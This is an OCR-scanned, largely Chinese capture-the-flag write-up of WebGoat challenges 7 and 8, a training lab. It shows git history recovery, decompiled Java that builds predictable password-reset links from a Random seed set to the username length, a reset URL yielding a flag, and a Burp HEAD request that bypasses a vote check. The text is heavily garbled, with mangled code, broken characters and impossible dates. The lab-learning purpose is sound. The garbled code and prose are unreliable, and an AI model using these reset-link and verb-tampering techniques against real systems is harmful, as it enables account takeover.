Date: Thu Aug 17 86:41:32 2017 5Jv)

Updated copyright to 2017

: Nanne Baars <nanne.
Date: Thu Aug 17 86:41:89 2817 +0200

Removed hardcoded key
commit fS
Author: Nanne Baars <nanne.baars@owasp.org=

Date: Thu Aug 17 06:40:04 2017 +0200

Flrct version of WebGoat Cloud website
ef: ¢ git reset --hard ac93

T ac937c7 Kemoved nardcoded Key
g 2 $1ls . ’
Challenge_7.adoc Challenge7.html 'MD5S1.class' MD5.class 'MD5SMDSState.class' — PdloPUR@sEtlnmelewsand

RATELB S| E—ANMERE, AT CASRIME MBS T, FRR class FBRKSHE, FUBRINBREFE—T, HEEMburpiTIF
PasswordResetLink.classit & Bl R FiE T . # FRBATEFEL



import java.util.Random;

public class PasswordResetLink {
public PasswordResetLink() {

}

public String createPasswordReset(String varl, String var2) {
Random var3 new Random();
if (varl.equalsIgnoreCase( )) {
var3.setSeed((long)var2.length());

return scramble(var3, scramble(var3, scramble(var3, MD5.getHashString(varl))));

public static String scramble(Random var®, String varl) {
char[] var2 varl.toCharArray();

for(int var3 0; var3 var2.length; var3) {
int var4 = var@.nextInt(var2.length);
char vars var2[var3];
var2[var3] EIVANEIL B

var2[var4] vars;

return new String(var2);

public static void main(String[] vare) {
if (vare null vare.length 1) {
System.out.println( );
System.exit(1);

varl varo[o];

var2

out.println( varl);

out.println( (new PasswordResetlLink()).createPasswordReset(varil,

X B A slinkst 3 T random.setSeed(), M iX Nt BB S8 T AR, WETH P EAERK L NEIE, MmaER—AF
FERAE R ELEREE R, FrLARI1X B R EE#PasswordResetLink.class 5MD5.classfI{CEE# MB| —AN T E B, RE
BT AT S BladminE B NEE T (BB TRBHR RS EZE1 Nadmin BENSRRNEEIRER T 4)




weboat_challeng

Pro dR M 3 Run/Debug Configurations

weboat_challenge3 + - BB X 3 Link
= I\ e ni

v & Application

Jidea

t

» F Templates

Default

Z3EEB: (375afe1104f4a487a73823c50a9292a2) v A

< C © | @ localhost:8080/WebGoat enge/7/reset-password/375afel104f4a487a73823c50a9292a2 =i

Success!!

Here is your flag: 2800c3df-f164-43bc-bae8-b3f89ad9d0c2

Without account

X BB R, RYEIRDRE B2 1E KA e R get (H 2 At i B i1 32 F i K GetMapping (), 7E M L& BiX 4Bk
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Response

Raw | Heackrs | Hex
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HEAD /wWehGoat/challenge/8/vote/S HTTP/1.1 |

Host: localhost:B0B0
IUser-Agent: Mozilla/5.0 (X11;
Gecko/20100101 Firefox/70.0

fAccept *
Accept-Language:
zh-CN,zh; q=0.8,zh-TW;q=0.7,zh-HK; g=0.5,en-US; q=0. 3, en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-wWith: XMLHttpRequest
Connection: close
Referer: http://localhost:8080/WebGoat/start.mvc
Cookie: JSESSIOMID=ETpZoDTEF7amLzG63QTSVWOTSp)-Llotf4azszyo;
Hm_1vt_f&f37dc3416ca514857h78d0b158037e=1572405857;
Hm_lpvt_fGf37dc3416C6514857b78d0b1580379:1572493688;
JSESSIONID. 75fbd0Se=7mc1x91e16]14x02a3udkbz1; screenResolution=1920x 1080
Pragma: no- cache

e R

Ubuntu; Linux x86_64; rv:70.0)

MO REERTE G AT : — D REFTR
ReRirf—2WRERREXERL, XTRELH.

Mzl BER2EE, SIEEEREZEKBNEHT!

Y

HITPA1, 1 200 0K

X-Flag: Thanks for woting, your flag is:
boccB28d- 42b5- 48b9-ball- 8chafEcasefd

Connection: close

¥-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Length: ©

Date: Thu, ©7 MNov 2019 07:08:09 GMT
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